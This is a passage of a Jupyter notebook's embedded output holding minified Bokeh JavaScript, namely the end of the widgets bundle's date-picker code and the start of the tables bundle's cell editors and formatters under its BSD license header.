e=(t=t||window.event).target||t.srcElement;e&&(l(e,\\\"pika-select-month\\\")?i.gotoMonth(e.value):l(e,\\\"pika-select-year\\\")&&i.gotoYear(e.value))},i._onKeyChange=function(t){if(t=t||window.event,i.isVisible())switch(t.keyCode){case 13:case 27:r.field&&r.field.blur();break;case 37:t.preventDefault(),i.adjustDate(\\\"subtract\\\",1);break;case 38:i.adjustDate(\\\"subtract\\\",7);break;case 39:i.adjustDate(\\\"add\\\",1);break;case 40:i.adjustDate(\\\"add\\\",7)}},i._onInputChange=function(t){var e;t.firedBy!==i&&(e=r.parse?r.parse(r.field.value,r.format):o?(e=n(r.field.value,r.format,r.formatStrict))&&e.isValid()?e.toDate():null:new Date(Date.parse(r.field.value)),B(e)&&i.setDate(e),i._v||i.show())},i._onInputFocus=function(){i.show()},i._onInputClick=function(){i.show()},i._onInputBlur=function(){var t=c.activeElement;do{if(l(t,\\\"pika-single\\\"))return}while(t=t.parentNode);i._c||(i._b=u(function(){i.hide()},50)),i._c=!1},i._onClick=function(t){var e=(t=t||window.event).target||t.srcElement,n=e;if(e){!s&&l(e,\\\"pika-select\\\")&&(e.onchange||(e.setAttribute(\\\"onchange\\\",\\\"return;\\\"),a(e,\\\"change\\\",i._onChange)));do{if(l(n,\\\"pika-single\\\")||n===r.trigger)return}while(n=n.parentNode);i._v&&e!==r.trigger&&n!==r.trigger&&i.hide()}},i.el=c.createElement(\\\"div\\\"),i.el.className=\\\"pika-single\\\"+(r.isRTL?\\\" is-rtl\\\":\\\"\\\")+(r.theme?\\\" \\\"+r.theme:\\\"\\\"),a(i.el,\\\"mousedown\\\",i._onMouseDown,!0),a(i.el,\\\"touchend\\\",i._onMouseDown,!0),a(i.el,\\\"change\\\",i._onChange),r.keyboardInput&&a(c,\\\"keydown\\\",i._onKeyChange),r.field&&(r.container?r.container.appendChild(i.el):r.bound?c.body.appendChild(i.el):r.field.parentNode.insertBefore(i.el,r.field.nextSibling),a(r.field,\\\"change\\\",i._onInputChange),r.defaultDate||(o&&r.field.value?r.defaultDate=n(r.field.value,r.format).toDate():r.defaultDate=new Date(Date.parse(r.field.value)),r.setDefaultDate=!0));var e=r.defaultDate;B(e)?r.setDefaultDate?i.setDate(e,!0):i.gotoDate(e):i.gotoDate(new Date),r.bound?(this.hide(),i.el.className+=\\\" is-bound\\\",a(r.trigger,\\\"click\\\",i._onInputClick),a(r.trigger,\\\"focus\\\",i._onInputFocus),a(r.trigger,\\\"blur\\\",i._onInputBlur)):this.show()};return t.prototype={config:function(t){this._o||(this._o=d({},h,!0));var e=d(this._o,t,!0);e.isRTL=!!e.isRTL,e.field=e.field&&e.field.nodeName?e.field:null,e.theme=\\\"string\\\"==typeof e.theme&&e.theme?e.theme:null,e.bound=!!(void 0!==e.bound?e.field&&e.bound:e.field),e.trigger=e.trigger&&e.trigger.nodeName?e.trigger:e.field,e.disableWeekends=!!e.disableWeekends,e.disableDayFn=\\\"function\\\"==typeof e.disableDayFn?e.disableDayFn:null;var n=parseInt(e.numberOfMonths,10)||1;if(e.numberOfMonths=4<n?4:n,B(e.minDate)||(e.minDate=!1),B(e.maxDate)||(e.maxDate=!1),e.minDate&&e.maxDate&&e.maxDate<e.minDate&&(e.maxDate=e.minDate=!1),e.minDate&&this.setMinDate(e.minDate),e.maxDate&&this.setMaxDate(e.maxDate),g(e.yearRange)){var i=(new Date).getFullYear()-10;e.yearRange[0]=parseInt(e.yearRange[0],10)||i,e.yearRange[1]=parseInt(e.yearRange[1],10)||i}else e.yearRange=Math.abs(parseInt(e.yearRange,10))||h.yearRange,100<e.yearRange&&(e.yearRange=100);return e},toString:function(t){return t=t||this._o.format,B(this._d)?this._o.toString?this._o.toString(this._d,t):o?n(this._d).format(t):this._d.toDateString():\\\"\\\"},getMoment:function(){return o?n(this._d):null},setMoment:function(t,e){o&&n.isMoment(t)&&this.setDate(t.toDate(),e)},getDate:function(){return B(this._d)?new Date(this._d.getTime()):null},setDate:function(t,e){if(!t)return this._d=null,this._o.field&&(this._o.field.value=\\\"\\\",r(this._o.field,\\\"change\\\",{firedBy:this})),this.draw();if(\\\"string\\\"==typeof t&&(t=new Date(Date.parse(t))),B(t)){var n=this._o.minDate,i=this._o.maxDate;B(n)&&t<n?t=n:B(i)&&i<t&&(t=i),this._d=new Date(t.getTime()),j(this._d),this.gotoDate(this._d),this._o.field&&(this._o.field.value=this.toString(),r(this._o.field,\\\"change\\\",{firedBy:this})),e||\\\"function\\\"!=typeof this._o.onSelect||this._o.onSelect.call(this,this.getDate())}},gotoDate:function(t){var e=!0;if(B(t)){if(this.calendars){var n=new Date(this.calendars[0].year,this.calendars[0].month,1),i=new Date(this.calendars[this.calendars.length-1].year,this.calendars[this.calendars.length-1].month,1),r=t.getTime();i.setMonth(i.getMonth()+1),i.setDate(i.getDate()-1),e=r<n.getTime()||i.getTime()<r}e&&(this.calendars=[{month:t.getMonth(),year:t.getFullYear()}],\\\"right\\\"===this._o.mainCalendar&&(this.calendars[0].month+=1-this._o.numberOfMonths)),this.adjustCalendars()}},adjustDate:function(t,e){var n,i=this.getDate()||new Date,r=24*parseInt(e)*60*60*1e3;\\\"add\\\"===t?n=new Date(i.valueOf()+r):\\\"subtract\\\"===t&&(n=new Date(i.valueOf()-r)),this.setDate(n)},adjustCalendars:function(){this.calendars[0]=e(this.calendars[0]);for(var t=1;t<this._o.numberOfMonths;t++)this.calendars[t]=e({month:this.calendars[0].month+t,year:this.calendars[0].year});this.draw()},gotoToday:function(){this.gotoDate(new Date)},gotoMonth:function(t){isNaN(t)||(this.calendars[0].month=parseInt(t,10),this.adjustCalendars())},nextMonth:function(){this.calendars[0].month++,this.adjustCalendars()},prevMonth:function(){this.calendars[0].month--,this.adjustCalendars()},gotoYear:function(t){isNaN(t)||(this.calendars[0].year=parseInt(t,10),this.adjustCalendars())},setMinDate:function(t){t instanceof Date?(j(t),this._o.minDate=t,this._o.minYear=t.getFullYear(),this._o.minMonth=t.getMonth()):(this._o.minDate=h.minDate,this._o.minYear=h.minYear,this._o.minMonth=h.minMonth,this._o.startRange=h.startRange),this.draw()},setMaxDate:function(t){t instanceof Date?(j(t),this._o.maxDate=t,this._o.maxYear=t.getFullYear(),this._o.maxMonth=t.getMonth()):(this._o.maxDate=h.maxDate,this._o.maxYear=h.maxYear,this._o.maxMonth=h.maxMonth,this._o.endRange=h.endRange),this.draw()},setStartRange:function(t){this._o.startRange=t},setEndRange:function(t){this._o.endRange=t},draw:function(t){if(this._v||t){var e,n=this._o,i=n.minYear,r=n.maxYear,o=n.minMonth,s=n.maxMonth,a=\\\"\\\";this._y<=i&&(this._y=i,!isNaN(o)&&this._m<o&&(this._m=o)),this._y>=r&&(this._y=r,!isNaN(s)&&this._m>s&&(this._m=s)),e=\\\"pika-title-\\\"+Math.random().toString(36).replace(/[^a-z]+/g,\\\"\\\").substr(0,2);for(var l=0;l<n.numberOfMonths;l++)a+='<div class=\\\"pika-lendar\\\">'+f(this,l,this.calendars[l].year,this.calendars[l].month,this.calendars[0].year,e)+this.render(this.calendars[l].year,this.calendars[l].month,e)+\\\"</div>\\\";this.el.innerHTML=a,n.bound&&\\\"hidden\\\"!==n.field.type&&u(function(){n.trigger.focus()},1),\\\"function\\\"==typeof this._o.onDraw&&this._o.onDraw(this),n.bound&&n.field.setAttribute(\\\"aria-label\\\",\\\"Use the arrow keys to pick a date\\\")}},adjustPosition:function(){var t,e,n,i,r,o,s,a,l,u;if(!this._o.container){if(this.el.style.position=\\\"absolute\\\",t=this._o.trigger,e=t,n=this.el.offsetWidth,i=this.el.offsetHeight,r=window.innerWidth||c.documentElement.clientWidth,o=window.innerHeight||c.documentElement.clientHeight,s=window.pageYOffset||c.body.scrollTop||c.documentElement.scrollTop,\\\"function\\\"==typeof t.getBoundingClientRect)u=t.getBoundingClientRect(),a=u.left+window.pageXOffset,l=u.bottom+window.pageYOffset;else for(a=e.offsetLeft,l=e.offsetTop+e.offsetHeight;e=e.offsetParent;)a+=e.offsetLeft,l+=e.offsetTop;(this._o.reposition&&r<a+n||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-n+t.offsetWidth)&&(a=a-n+t.offsetWidth),(this._o.reposition&&o+s<l+i||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-i-t.offsetHeight)&&(l=l-i-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}},render:function(t,e,n){var i=this._o,r=new Date,o=U(t,e),s=new Date(t,e,1).getDay(),a=[],l=[];j(r),0<i.firstDay&&(s-=i.firstDay)<0&&(s+=7);for(var u=0===e?11:e-1,c=11===e?0:e+1,d=0===e?t-1:t,h=11===e?t+1:t,p=U(d,u),f=o+s,m=f;7<m;)m-=7;f+=7-m;for(var v,g,y,b,_,w,x,k=!1,S=0,C=0;S<f;S++){var E=new Date(t,e,S-s+1),D=!!B(this._d)&&z(E,this._d),M=z(E,r),A=-1!==i.events.indexOf(E.toDateString()),N=S<s||o+s<=S,V=S-s+1,I=e,P=t,R=i.startRange&&z(i.startRange,E),L=i.endRange&&z(i.endRange,E),T=i.startRange&&i.endRange&&i.startRange<E&&E<i.endRange,O=i.minDate&&E<i.minDate||i.maxDate&&E>i.maxDate||i.disableWeekends&&(0===(x=E.getDay())||6===x)||i.disableDayFn&&i.disableDayFn(E);N&&(S<s?(V=p+V,I=u,P=d):(V-=o,I=c,P=h));var W={day:V,month:I,year:P,hasEvent:A,isSelected:D,isToday:M,isDisabled:O,isEmpty:N,isStartRange:R,isEndRange:L,isInRange:T,showDaysInNextAndPreviousMonths:i.showDaysInNextAndPreviousMonths,enableSelectionDaysInNextAndPreviousMonths:i.enableSelectionDaysInNextAndPreviousMonths};i.pickWholeWeek&&D&&(k=!0),l.push(F(W)),7==++C&&(i.showWeekNumber&&l.unshift((y=S-s,b=e,_=t,w=void 0,w=new Date(_,0,1),'<td class=\\\"pika-week\\\">'+Math.ceil(((new Date(_,b,y)-w)/864e5+w.getDay()+1)/7)+\\\"</td>\\\")),a.push((v=l,g=i.isRTL,'<tr class=\\\"pika-row'+(i.pickWholeWeek?\\\" pick-whole-week\\\":\\\"\\\")+(k?\\\" is-selected\\\":\\\"\\\")+'\\\">'+(g?v.reverse():v).join(\\\"\\\")+\\\"</tr>\\\")),C=0,k=!(l=[]))}return Y(i,a,n)},isVisible:function(){return this._v},show:function(){var t,e,n;this.isVisible()||(this._v=!0,this.draw(),t=this.el,e=\\\"is-hidden\\\",t.className=(n=(\\\" \\\"+t.className+\\\" \\\").replace(\\\" \\\"+e+\\\" \\\",\\\" \\\")).trim?n.trim():n.replace(/^\\\\s+|\\\\s+$/g,\\\"\\\"),this._o.bound&&(a(c,\\\"click\\\",this._onClick),this.adjustPosition()),\\\"function\\\"==typeof this._o.onOpen&&this._o.onOpen.call(this))},hide:function(){var t,e,n=this._v;!1!==n&&(this._o.bound&&i(c,\\\"click\\\",this._onClick),this.el.style.position=\\\"static\\\",this.el.style.left=\\\"auto\\\",this.el.style.top=\\\"auto\\\",t=this.el,l(t,e=\\\"is-hidden\\\")||(t.className=\\\"\\\"===t.className?e:t.className+\\\" \\\"+e),this._v=!1,void 0!==n&&\\\"function\\\"==typeof this._o.onClose&&this._o.onClose.call(this))},destroy:function(){var t=this._o;this.hide(),i(this.el,\\\"mousedown\\\",this._onMouseDown,!0),i(this.el,\\\"touchend\\\",this._onMouseDown,!0),i(this.el,\\\"change\\\",this._onChange),t.keyboardInput&&i(c,\\\"keydown\\\",this._onKeyChange),t.field&&(i(t.field,\\\"change\\\",this._onInputChange),t.bound&&(i(t.trigger,\\\"click\\\",this._onInputClick),i(t.trigger,\\\"focus\\\",this._onInputFocus),i(t.trigger,\\\"blur\\\",this._onInputBlur))),this.el.parentNode&&this.el.parentNode.removeChild(this.el)}},t})}})}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-widgets.min.js.map\\n\",\n       \"      /* END bokeh-widgets.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-tables.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(a,b){!function(Bokeh){var define;(function(e,t,n){if(null!=Bokeh)return Bokeh.register_plugin(e,{\\\"models/widgets/tables/cell_editors\\\":433,\\\"models/widgets/tables/cell_formatters\\\":434,\\\"models/widgets/tables/data_table\\\":435,\\\"models/widgets/tables/index\\\":436,\\\"models/widgets/tables/main\\\":437,\\\"models/widgets/tables/table_column\\\":438,\\\"models/widgets/tables/table_widget\\\":439,\\\"models/widgets/widget\\\":440},437);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")})({433:function(e,t,n){var o=e(391),r=e(15),i=e(5),l=e(6),s=e(59),a=e(435),c=function(t){function e(e){return t.call(this,o.__assign({model:e.column.model},e))||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return null},enumerable:!0,configurable:!0}),e.prototype.initialize=function(e){t.prototype.initialize.call(this,e),this.inputEl=this._createInput(),this.defaultValue=null,this.args=e,this.render()},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-cell-editor\\\")},e.prototype.render=function(){t.prototype.render.call(this),this.args.container.appendChild(this.el),this.el.appendChild(this.inputEl),this.renderEditor(),this.disableNavigation()},e.prototype.renderEditor=function(){},e.prototype.disableNavigation=function(){this.inputEl.addEventListener(\\\"keydown\\\",function(e){switch(e.keyCode){case i.Keys.Left:case i.Keys.Right:case i.Keys.Up:case i.Keys.Down:case i.Keys.PageUp:case i.Keys.PageDown:e.stopImmediatePropagation()}})},e.prototype.destroy=function(){this.remove()},e.prototype.focus=function(){this.inputEl.focus()},e.prototype.show=function(){},e.prototype.hide=function(){},e.prototype.position=function(){},e.prototype.getValue=function(){return this.inputEl.value},e.prototype.setValue=function(e){this.inputEl.value=e},e.prototype.serializeValue=function(){return this.getValue()},e.prototype.isValueChanged=function(){return!(\\\"\\\"==this.getValue()&&null==this.defaultValue)&&this.getValue()!==this.defaultValue},e.prototype.applyValue=function(e,t){var n=this.args.grid.getData(),o=n.index.indexOf(e[a.DTINDEX_NAME]);n.setField(o,this.args.column.field,t)},e.prototype.loadValue=function(e){var t=e[this.args.column.field];this.defaultValue=null!=t?t:this.emptyValue,this.setValue(this.defaultValue)},e.prototype.validateValue=function(e){if(this.args.column.validator){var t=this.args.column.validator(e);if(!t.valid)return t}return{valid:!0,msg:null}},e.prototype.validate=function(){return this.validateValue(this.getValue())},e}(l.DOMView);n.CellEditorView=c;var u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CellEditor\\\"},t}(s.Model);(n.CellEditor=u).initClass();var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return\\\"\\\"},enumerable:!0,configurable:!0}),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e}(c);n.StringEditorView=d;var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StringEditor\\\",this.prototype.default_view=d,this.define({completions:[r.Array,[]]})},t}(u);(n.StringEditor=p).initClass();var f=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.textarea()},t}(c);n.TextEditorView=f;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextEditor\\\",this.prototype.default_view=f},t}(u);(n.TextEditor=h).initClass();var g=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.select()},t.prototype.renderEditor=function(){for(var e=0,t=this.model.options;e<t.length;e++){var n=t[e];this.inputEl.appendChild(i.option({value:n},n))}this.focus()},t}(c);n.SelectEditorView=g;var m=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectEditor\\\",this.prototype.default_view=g,this.define({options:[r.Array,[]]})},t}(u);(n.SelectEditor=m).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.PercentEditorView=v;var w=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PercentEditor\\\",this.prototype.default_view=v},t}(u);(n.PercentEditor=w).initClass();var y=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"checkbox\\\",value:\\\"true\\\"})},t.prototype.renderEditor=function(){this.focus()},t.prototype.loadValue=function(e){this.defaultValue=!!e[this.args.column.field],this.inputEl.checked=this.defaultValue},t.prototype.serializeValue=function(){return this.inputEl.checked},t}(c);n.CheckboxEditorView=y;var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxEditor\\\",this.prototype.default_view=y},t}(u);(n.CheckboxEditor=C).initClass();var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseInt(this.getValue(),10)||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid integer\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.IntEditorView=b;var x=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IntEditor\\\",this.prototype.default_view=b,this.define({step:[r.Number,1]})},t}(u);(n.IntEditor=x).initClass();var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseFloat(this.getValue())||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid number\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.NumberEditorView=R;var S=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumberEditor\\\",this.prototype.default_view=R,this.define({step:[r.Number,.01]})},t}(u);(n.NumberEditor=S).initClass();var E=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.TimeEditorView=E;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TimeEditor\\\",this.prototype.default_view=E},t}(u);(n.TimeEditor=k).initClass();var T=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},Object.defineProperty(t.prototype,\\\"emptyValue\\\",{get:function(){return new Date},enumerable:!0,configurable:!0}),t.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},t.prototype.destroy=function(){e.prototype.destroy.call(this)},t.prototype.show=function(){e.prototype.show.call(this)},t.prototype.hide=function(){e.prototype.hide.call(this)},t.prototype.position=function(){return e.prototype.position.call(this)},t.prototype.getValue=function(){},t.prototype.setValue=function(e){},t}(c);n.DateEditorView=T;var P=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DateEditor\\\",this.prototype.default_view=T},t}(u);(n.DateEditor=P).initClass()},434:function(e,t,n){var a=e(391),u=e(361),c=e(449),s=e(390),o=e(15),d=e(5),p=e(44),r=e(59),i=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.prototype.doFormat=function(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")},e}(r.Model),l=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"StringFormatter\\\",this.define({font_style:[o.FontStyle,\\\"normal\\\"],text_align:[o.TextAlign,\\\"left\\\"],text_color:[o.Color]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.font_style,l=this.text_align,s=this.text_color,a=d.span({},null==n?\\\"\\\":\\\"\\\"+n);switch(i){case\\\"bold\\\":a.style.fontWeight=\\\"bold\\\";break;case\\\"italic\\\":a.style.fontStyle=\\\"italic\\\"}return null!=l&&(a.style.textAlign=l),null!=s&&(a.style.color=s),a.outerHTML},e}(n.CellFormatter=i);(n.StringFormatter=l).initClass();var f=function(c){function e(e){return c.call(this,e)||this}return a.__extends(e,c),e.initClass=function(){this.prototype.type=\\\"NumberFormatter\\\",this.define({format:[o.String,\\\"0,0\\\"],language:[o.String,\\\"en\\\"],rounding:[o.String,\\\"round\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this,l=this.format,s=this.language,a=function(){switch(i.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}}();return n=u.format(n,l,s,a),c.prototype.doFormat.call(this,e,t,n,o,r)},e}(l);(n.NumberFormatter=f).initClass();var h=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BooleanFormatter\\\",this.define({icon:[o.String,\\\"check\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){return n?d.i({class:this.icon}).outerHTML:\\\"\\\"},e}(i);(n.BooleanFormatter=h).initClass();var g=function(l){function e(e){return l.call(this,e)||this}return a.__extends(e,l),e.initClass=function(){this.prototype.type=\\\"DateFormatter\\\",this.define({format:[o.String,\\\"ISO-8601\\\"]})},e.prototype.getFormat=function(){switch(this.format){case\\\"ATOM\\\":case\\\"W3C\\\":case\\\"RFC-3339\\\":case\\\"ISO-8601\\\":return\\\"%Y-%m-%d\\\";case\\\"COOKIE\\\":return\\\"%a, %d %b %Y\\\";case\\\"RFC-850\\\":return\\\"%A, %d-%b-%y\\\";case\\\"RFC-1123\\\":case\\\"RFC-2822\\\":return\\\"%a, %e %b %Y\\\";case\\\"RSS\\\":case\\\"RFC-822\\\":case\\\"RFC-1036\\\":return\\\"%a, %e %b %y\\\";case\\\"TIMESTAMP\\\":return;default:return this.format}},e.prototype.doFormat=function(e,t,n,o,r){n=p.isString(n)?parseInt(n,10):n;var i=s(n,this.getFormat());return l.prototype.doFormat.call(this,e,t,i,o,r)},e}(i);(n.DateFormatter=g).initClass();var m=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"HTMLTemplateFormatter\\\",this.define({template:[o.String,\\\"<%= value %>\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.template;if(null==n)return\\\"\\\";var l=c(i),s=a.__assign({},r,{value:n});return l(s)},e}(i);(n.HTMLTemplateFormatter=m).initClass()},435:function(e,t,i){var o=e(391),s=e(447).Grid,a=e(445).RowSelectionModel,c=e(444).CheckboxSelectColumn,r=e(15),n=e(38),l=e(21),u=e(32),d=e(14),p=e(439),f=e(440);i.DTINDEX_NAME=\\\"__bkdt_internal_index__\\\";var h=function(){function e(e,t){if(this.source=e,this.view=t,i.DTINDEX_NAME in this.source.data)throw new Error(\\\"special name \\\"+i.DTINDEX_NAME+\\\" cannot be used as a data table column\\\");this.index=this.view.indices}return e.prototype.getLength=function(){return this.index.length},e.prototype.getItem=function(e){for(var t={},n=0,o=u.keys(this.source.data);n<o.length;n++){var r=o[n];t[r]=this.source.data[r][this.index[e]]}return t[i.DTINDEX_NAME]=this.index[e],t},e.prototype.getField=function(e,t){return t==i.DTINDEX_NAME?this.index[e]:this.source.data[t][this.index[e]]},e.prototype.setField=function(e,t,n){var o={},r=this.index[e];o[t]=[[r,n]],this.source.patch(o)},e.prototype.getItemMetadata=function(e){return null},e.prototype.getRecords=function(){var t=this;return l.range(0,this.getLength()).map(function(e){return t.getItem(e)})},e.prototype.sort=function(e){var u=e.map(function(e){return[e.sortCol.field,e.sortAsc?1:-1]});0==u.length&&(u=[[i.DTINDEX_NAME,1]]);var d=this.getRecords(),p=this.index.slice();this.index.sort(function(e,t){for(var n=0,o=u;n<o.length;n++){var r=o[n],i=r[0],l=r[1],s=d[p.indexOf(e)][i],a=d[p.indexOf(t)][i],c=s==a?0:a<s?l:-l;if(0!=c)return c}return 0})},e}();i.DataProvider=h;var g=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e._in_selection_update=!1,e._warned_not_reorderable=!1,e}return o.__extends(e,t),e.prototype.connect_signals=function(){var e=this;t.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.render()}),this.connect(this.model.source.streaming,function(){return e.updateGrid()}),this.connect(this.model.source.patching,function(){return e.updateGrid()}),this.connect(this.model.source.change,function(){return e.updateGrid()}),this.connect(this.model.source.properties.data.change,function(){return e.updateGrid()}),this.connect(this.model.source.selected.change,function(){return e.updateSelection()}),this.connect(this.model.source.selected.properties.indices.change,function(){return e.updateSelection()})},e.prototype.updateGrid=function(){var t=this;this.model.view.compute_indices(),this.data.constructor(this.model.source,this.model.view);var n=this.grid.getColumns(),e=this.grid.getSortColumns().map(function(e){return{sortCol:{field:n[t.grid.getColumnIndex(e.columnId)].field},sortAsc:e.sortAsc}});this.data.sort(e),this.grid.invalidate(),this.grid.render()},e.prototype.updateSelection=function(){var t=this;if(!this._in_selection_update){var e=this.model.source.selected,n=e.indices.map(function(e){return t.data.index.indexOf(e)});this._in_selection_update=!0,this.grid.setSelectedRows(n),this._in_selection_update=!1;var o=this.grid.getViewport(),r=this.model.get_scroll_index(o,n);null!=r&&this.grid.scrollRowToTop(r)}},e.prototype.newIndexColumn=function(){return{id:n.uniqueId(),name:this.model.index_header,field:i.DTINDEX_NAME,width:this.model.index_width,behavior:\\\"select\\\",cannotTriggerInsert:!0,resizable:!1,selectable:!1,sortable:!0,cssClass:\\\"bk-cell-index\\\",headerCssClass:\\\"bk-header-index\\\"}},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-data-table\\\")},e.prototype.render=function(){var e,n=this,o=this.model.columns.map(function(e){return e.toColumn()});if(\\\"checkbox\\\"==this.model.selectable&&(e=new c({cssClass:\\\"bk-cell-select\\\"}),o.unshift(e.getColumnDefinition())),null!=this.model.index_position){var t=this.model.index_position,r=this.newIndexColumn();-1==t?o.push(r):t<-1?o.splice(t+1,0,r):o.splice(t,0,r)}var i=this.model.reorderable;!i||\\\"undefined\\\"!=typeof 